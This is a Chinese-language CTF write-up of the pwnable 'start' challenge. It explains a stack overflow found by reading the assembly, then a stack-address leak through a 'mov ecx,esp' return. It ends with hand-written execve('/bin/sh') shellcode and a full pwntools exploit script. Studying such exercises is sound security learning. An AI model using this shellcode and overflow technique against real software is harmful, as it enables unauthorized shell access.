pwnable系列

D0wnBe@t Lv4

pwnable-start(32位)

题目链接

前言:

根据汇编看漏洞

  • 直接看ida反汇编,发现看不懂:

  • 果断选择看汇编:

根据汇编我们可以知道这里执行了两个函数:

1
2
write(1,buf,0x14)
read(3,buf,0x3c)
  • 注意到最下面的add esp,0x14,我们可以知道栈空间只有0x14的长度,但是我们可以输入0x3c的长度,所以我们可以栈溢出,这就是通过汇编看漏洞。
  • 我们将ret_address改为栈地址,并将栈地址写入shellcode,那么就可以getshell,接下来看如何泄露栈地址,并且如何手写shellcode。

gdb分析:

1.泄露栈地址

  • 目前只有read和write函数可以调用,那么我们覆盖read的返回地址为sys_write上面mov ecx,esp;也就是会再次执行writed,然后将esp的地址输出出来。
  • 栈地址rbp距离rsp是0x14,再将泄露的地址加上0x14就是栈地址了。
1
2
3
4
5
6
7
# 泄漏栈地址
p.recvuntil("CTF:")
bug()
payload = b'a'*0x14 + p32(0x08048087) # 就是mov ecx,esp;的地址
p.send(payload)
stack = u32(p.recv(4)) + 0x14
success('stack:'+hex(stack))
  • 此时栈溢出修改ret_address

  • 泄露出栈地址:

2.手写shellcode

  • 我们可以写入0x3c的数据,除了0x14的垃圾数据和覆盖返回地址,还可以写入0x3c-0x18=0x24的内容,用pwntools自动生成的shellcode长度是0x2c,发现是过长了的,所以我们要自己手写shellcode。
  • 如何手写?

shellcode其实就是执行execve(‘/bin/sh’,0,0)

各个寄存器的数值就是这样的,我们手写的shellcode就要满足这些就行了,注意/bin/sh的小端序就行了

1
2
>>>'/bin/sh\x00'[::-1].encode('utf-8').hex()
'0068732f6e69622f'
1
2
3
4
5
6
7
8
9
10
11
shellcode = asm(
'''
xor ecx,ecx; # ecx=0
xor edx,edx; # edx=0
push edx;
push 0x0068732f; # 将/bin/sh\x00入栈
push 0x6e69622f;
mov ebx,esp; # ebx = /bin/sh\x00
mov eax,0xb; # execve 32位系统调用号
int 0x80;
''')
1
2
3
4
shellcode = asm('xor ecx,ecx;xor edx,edx;push edx;push 0x0068732f;push 0x6e69622f;mov ebx,esp;mov eax,0xb;int 0x80;')
payload = b'a'*(0x14) + p32(stack) + shellcode
p.send(payload)
p.interactive()

  • ok,执行了execve(‘/bin/sh‘,0,0)了,就getshell了

完整EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
from pwn import *
context(arch='i386',log_level='debug')

def bug():
gdb.attach(p)
pause()

p = process("./pwn")
#p = remote("node5.buuoj.cn",25581)

# 泄漏栈地址
p.recvuntil("CTF:")
bug()
payload = b'a'*0x14 + p32(0x08048087)
p.send(payload)
stack = u32(p.recv(4)) + 0x14
success('stack:'+hex(stack))

# 写入shellcode
# shellcode = asm(shellcraft.sh()) 过长
# 自己构造execve('/bin/sh',0,0)

#shellcode = asm(
'''
xor ecx,ecx; # ecx=0
xor edx,edx; # edx=0
push edx;
push 0x0068732f; # 将/bin/sh\x00入栈
push 0x6e69622f;
mov ebx,esp; # ebx = /bin/sh\x00
mov eax,0xb; # execve 32位系统调用号
int 0x80;
'''

shellcode = asm('xor ecx,ecx;xor edx,edx;push edx;push 0x0068732f;push 0x6e69622f;mov ebx,esp;mov eax,0xb;int 0x80;')
payload = b'a'*(0x14) + p32(stack) + shellcode
p.send(payload)
p.interactive()
  • 标题: pwnable系列
  • 作者: D0wnBe@t
  • 创建于 : 2024-09-01 10:54:55
  • 更新于 : 2024-11-14 11:43:13
  • 链接: http://downbeat.top/2024/09/01/pwnable系列/
  • 版权声明: 本文章采用 CC BY-NC-SA 4.0 进行许可。
评论
目录
pwnable系列